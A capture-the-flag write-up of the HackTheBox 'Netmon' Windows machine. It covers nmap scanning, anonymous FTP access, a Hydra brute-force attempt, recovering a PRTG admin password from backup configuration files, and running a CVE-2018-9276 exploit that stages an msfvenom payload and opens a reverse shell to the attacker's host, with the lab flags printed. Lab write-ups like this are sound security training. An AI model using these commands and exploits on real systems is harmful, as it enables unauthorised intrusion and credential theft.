| Machine IP | 10.10.10.152 |
| System | Windows |
I start by modifying my /etc/hosts file to avoid writing the IP everytime :
10.10.10.140 netmonThen I look for open ports :
nmap netmon -T4
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-21 10:01 CEST
Nmap scan report for netmon (10.10.10.152)
Host is up (0.037s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-dsNow that I know I have some interesting ports opened, I will try to do a more thorough scan.
nmap -A netmon -T4
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-21 10:03 CEST
Nmap scan report for netmon (10.10.10.152)
Host is up (0.033s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2m48s, deviation: 0s, median: -2m48s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-09-21T08:00:23
|_ start_date: 2019-09-21T07:56:50
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.47 secondsThe first thing I see is that anonymous login is authorised on the FTP server. Let's try to dig into that.
I connect to the ftp as the anonymous user, I put in a random password:
ftp netmon
Connected to netmon.
220 Microsoft FTP Service
Name (netmon:braincoke): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:Now that I have a connection I can explore the public files exposed by the server:
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:18AM 1024 .rnd
02-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> WindowsHere are some interesting information found after searching the files:
inetpub/logs/wmsvc/W3SVC1/ex190226.log I can see that there is an administrator useruser.txt in Users/Public containing the hash dd58ce67b49e15105e88096c8d9255a5The hash in the file user.txt is the user flag to enter in the HackTheBox website.
After trying to crack the ftp administrator password for 1h, Hydra found nothing
hydra -l administrator -P ~/Resources/SecurityTools/IntruderPayloads/FuzzLists/passwords_long.txt netmon ftp -t 4From the nmap scan I could see that the port 80 was opened. I fire up zaproxy and navigate to http://10.10.10.152/index.htm. I access the PRTG Network Monitor (NETMON) login page.
From the page's source I gather that the application version is 18.1.37.13946.
__ga('create', 'UA-154425-18', {
'appId':'-10',
'appName':'PRTG Network Monitor (NETMON)',
'appVersion':'18.1.37.13946'
});After searching for CVE related to the product:
Looking at the password recovery feature, I can see that the appliaction lets us perform an enumeration attack on users.
Here is the message I get when trying a password recovery with the user admin:
Password Recovery
Sorry, this account is unknown.
If you still have trouble with your account please contact the system administrator.Unfortunately after trying a small list of commonly used usernames, none was found.
Continuing my exploration, I find the "Need Help ?" page.
From there I can see that the default user and password are prtgadmin.
I try it, the password seems to have been changed but the user still exists.
After looking for more security information, notably for other possible passwords, I stumbled onto the following Reddit thread warning users of the application that users passwords were stored in some files. The folder and files concerned are:
C:\ProgramData\Paessler\PRTG Network Monitor\Configuration Auto-Backups\C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.oldC:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.nulWhen exploring the ftp server I didn't see any ProgramData folder, but it's worth the shot trying to access it. I start a new ftp connection as anonymous and try to list the directory ProgramData:
ftp> ls ProgramData
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:15AM <DIR> Licenses
11-20-16 10:36PM <DIR> Microsoft
02-03-19 12:18AM <DIR> Paessler
02-03-19 08:05AM <DIR> regid.1991-06.com.microsoft
07-16-16 09:18AM <DIR> SoftwareDistribution
02-03-19 12:15AM <DIR> TEMP
11-20-16 10:19PM <DIR> USOPrivate
11-20-16 10:19PM <DIR> USOShared
02-25-19 10:56PM <DIR> VMware
226 Transfer complete.Great, it worked !
And looking in ProgramData\Paessler\PRTG Network Monitor I find the following files:
Scanning the files for prtgadmin we find the following information in PRTG Configuration.old.bak:
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>Unfortunately this password doesn't work.
But wait a minute, we're in 2019 now...
I try the password PrTg@dmin2019 and sure enough, I get and administrator access to the console.
Earlier I found a RCE vulnerability relying on the access to the administration console. Now that I have this access, let's study this vulnerability in details:
An issue was discovered in PRTG Network Monitor before 18.2.39. An attacker who has access to the PRTG System Administrator web console with administrative privileges can exploit an OS command injection vulnerability (both on the server and on devices) by sending malformed parameters in sensor or notification management scenarios.
I start searching for existing exploits and I find two scripts:
The first script creates a new administrator user named pentest for us.
The second one creates a reverse shell. I start the second script:
sudo python CVE-2018-9276/CVE-2018-9276.py -i netmon -p 80 --user "prtgadmin" --password "PrTg@dmin2019" --lhost 10.10.14.7 --lport 8989
[+] [PRTG/18.1.37.13946] is Vulnerable!
[*] Exploiting [netmon:80] as [prtgadmin/PrTg@dmin2019]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] File staged at [C:\Users\Public\tester.txt] successfully with objid of [2036]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] Notification with objid [2036] staged for execution
[*] Generate msfvenom payload with [LHOST=10.10.14.7 LPORT=8989 OUTPUT=/tmp/flpwhfaf.dll]
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 5120 bytes
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Hosting payload at [\\10.10.14.7\FUNLLFYE]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] Command staged at [C:\Users\Public\tester.txt] successfully with objid of [2037]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] Notification with objid [2037] staged for execution
[*] Attempting to kill the impacket thread
[-] Impacket will maintain its own thread for active connections, so you may find it's still listening on <LHOST>:445!
[-] ps aux | grep <script name> and kill -9 <pid> if it is still running :)
[-] The connection will eventually time out.
[+] Listening on [10.10.14.7:8989 for the reverse shell!]
listening on [any] 8989 ...
[*] Incoming connection (10.10.10.152,51228)
[*] AUTHENTICATE_MESSAGE (\,NETMON)
[*] User \NETMON authenticated successfully
[*] :::00::4141414141414141
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.152] 51230
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>dir C:\
dir C:\
Volume in drive C has no label.
Volume Serial Number is 684B-9CE8
Directory of C:\
02/03/2019 12:18 AM 1,024 .rnd
02/25/2019 10:15 PM <DIR> inetpub
07/16/2016 09:18 AM <DIR> PerfLogs
02/25/2019 10:56 PM <DIR> Program Files
02/03/2019 12:28 AM <DIR> Program Files (x86)
02/03/2019 08:08 AM <DIR> Users
02/25/2019 11:49 PM <DIR> Windows
1 File(s) 1,024 bytes
6 Dir(s) 12,056,924,160 bytes freeNow that I have a root access I can find my root flag:
C:\Users>more Administrator\Desktop\root.txt
more Administrator\Desktop\root.txt
3018977fb944bf1878f75b879fba67cc